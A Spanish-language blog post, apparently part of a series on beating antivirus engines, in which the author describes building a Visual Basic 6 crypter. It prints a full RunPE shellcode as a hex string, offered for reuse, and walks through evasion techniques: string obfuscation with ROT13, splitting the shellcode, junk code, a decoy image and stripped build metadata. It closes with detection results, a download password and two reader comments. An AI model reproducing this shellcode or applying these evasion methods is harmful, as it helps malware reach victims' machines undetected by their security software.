Pues va a ser que debo de estar
jodidamente loco, teníais razón. No conozco a nadie salvo a mí mismo, que
escribiendo un artículo medianamente técnico o serio como podría darse el caso
de ser este, se levante a bailar durante un buen rato al ritmo de Juan Luis Guerra
perdiendo completamente el hilo. Y os lo digo con conocimiento de causa, ya que
sé exactamente qué es lo que hacéis en vuestra casa… ¡os veo por la webcam! ;)
Diréis… ¡bueno! estás loco, pero es “normal”, ya que estás solo en tu casa
y no tienes por qué avergonzarte jajajaja
¡no! Esto me pasa a menudo y en cualquier lugar, no exactamente me pongo a
dar brincos de alegría, ¿o sí?, pero
siempre tengo una cancioncilla sonando en mi mente o algo gracioso que a veces
no solo me hace partirme de risa solo, sino que involuntariamente también ayuda
a evadirme.
Siempre criticaron mi forma de
ver la vida, demasiado cercana a los
mundos de Yupi, la cruel realidad no me daña y es eso o vivir una vida precaria…
ejem… (osea de mierda). Como la que tiene una gran mayoría de mortales que me
rodean y a su vez critican, sin ilusión o con algún problema psicológico no
cuanto menos ilógico, el cual desconozco el porqué de tener que darle
importancia alguna. Negatividad y falta de optimismo, ciegan incluso su visión
de futuro más cercano. A veces se hace tan difícil combatir contra este tipo de
personas lúgubres y taciturnas, que salir a la calle y pintarle una sonrisa a
la vida se convierte en un auténtico reto. ¿De
qué cojones iba la entrada de hoy? ¡Ah sí!
Los asiduos a leer mi blog, se
habrán dado cuenta de que me lo paso piruleta haciendo reversing al malware,
con el objetivo de hacerlos indetectables a los motores antivirus. En este caso
no dejaremos a OllyDbg de lado, pero sí le restaremos importancia, ya que
explicaré métodos evasivos desde el código fuente de un “crypter” desarrollado
en mi habitual Visual Basic 6, al que he llamado… 4n4lCrypter.
Uno de los métodos más comunes
para llevar a cabo la creación de un crypter,
se trata de incluir un módulo RunPE
que consiga ejecutar un binario “on the fly”, algo así como sin la necesidad de
tocar el disco, ya que este pasa a ejecutarse directamente en memoria. Para
lograr esto, existen varios módulos públicos. Nosotros en este caso
utilizaremos una conocida ShellCode
desarrollada por hamavb, la cual
dejo a continuación por si alguno decide utilizarla en cualquier otro lenguaje
de sus proyectos.
60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F0300006A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F40000008B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E84F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000
Sin duda existen millones de
binarios repartidos por el mundo utilizando esta misma ShellCode ¿Cómo puede ser que
los antivirus no la detecten? Sencillamente porque es imposible realizar el
análisis en memoria de todos los binarios de un ordenador, por cuestiones de
rendimiento. No obstante, si esta ShellCode
se incluye como “string” en el binario en disco, las compañías antivirus
tendrán mucho más sencilla su detección… lo que haremos en este caso es
modificar el aspecto de la ShellCode.
En primer lugar podemos utilizar alguna herramienta ShellcodeToExe para echarle un vistazo a las instrucciones,
pudiendo incluir o modificar las rutinas como ya hicimos en anteriores entradas
de Antivirus K.O.. El foro de Indetectables.net
tiene una herramienta muy cómoda para realizar esta tarea, así que pegaremos la
ristra y descargaremos el binario.
Tras arrastrar a OllyDbg el ejecutable generado, a ojo
de buen cubero en la dirección de memoria 401020
vemos el PUSHAD que inicia el código
de nuestra ShellCode.
Podremos aplicar los métodos
aprendidos en el blog, para generar una nueva ristra a la que llevarnos a
nuestro crypter.
Actualmente en una gran cantidad
de foros sobre hacking, se incluyen publicaciones sobre diferentes modificaciones
de esta ShellCode, normalmente sobre
las “strings” del proyecto. Algo más sencillo de variar utilizando algoritmos
de cifrado u otros métodos como concatenación de caracteres, con el equivalente
número de la tabla ASCII entre las más comunes. La forma de llamarla sería
mediante ASM en línea, con lo que
evitando las limitaciones en Visual Basic
6 sobre los tamaños de las cadenas declaradas en el código fuente, reservaríamos
una “string” dividida en siete trozos de la siguiente manera.
De igual manera que en el resto
de métodos evasivos a bajo nivel, en este deberíamos de camuflar el objetivo
principal de la aplicación, utilizando código basura para jugar al despiste con
los motores antivirus. La inserción de este código basura puede realizarse de
forma manual, incluyendo auténticas funciones o más bien lo contrario, utilizando
un proyecto de otra aplicación para incluir nuestro código malicioso. Por otro
lado existen aplicaciones llamadas “RunPE Generator”, las cuales generan
módulos RunPE con variables,
funciones y API con nombres aleatorios. En el caso de 4n4lCrypter, decidí utilizar una mezcla de varios métodos. Por un
lado la herramienta Abronsius Code
Obfuscator, con la que incrusté el algoritmo ROT13 para ofuscar las “strings” de la ShellCode agregando el algoritmo al proyecto.
Decidí que sería un buen código
para el stub de mi crypter, la herramienta de cortado que
utilizo en 4n4lDetector v1.0, así
que la migré al nuevo proyecto y la incluí como formulario principal. Además agregué
una imagen para darle más apariencia de aplicación con buenas intenciones… ¿Qué malware utiliza imágenes en sus
proyectos? ¡Pues 4n4lCrypter!.
Decidí separar a la ShellCode ofuscada en diferentes
módulos, y llamarla mediante funciones. La siguiente imagen muestra código
basura ofuscado entre los fragmentos del RunPE.
La función principal del ShRunPE llamando por Calls al resto de fragmentos, junto al CallWindowProc el cual también podríamos
ofuscar su nombre de función.
Después de compilar el stub, agregarle un icono y eliminar
desde el editor hexadecimal la ruta de compilación y el VersionInfo desde la herramienta Resource Hacker, este es el resultado de las detecciones antivirus
del stub de mi crypter.
Al cifrado se suma Avira y Eset,
algo que os dejaré como tarea porque yo me voy de fiesta ;)
La próxima versión todavía no
publicada de 4n4lDetector v1.1,
mostraría la siguiente información del ejecutable. DllFunctionCall como siempre haciendo de las suyas ocultando
información sobre las API utilizadas.
A continuación les dejo la imagen
de la herramienta, un toque personal que últimamente acostumbro a darle a estas
con la similitud de una consola. Nada que ver con mis anteriores crypters… Billar Crypter.
Pass: 4n0nym0us
Saludos 4n4les! ;)
Excelente trabajo! muchas gracias, soy relativamente novato en todo esto y toda la info me ha ayudado demasiado... gracias de nuevo
ResponderEliminarUn abrazo
cuando un tutorial sobre creacion de un runpe desde cero
ResponderEliminar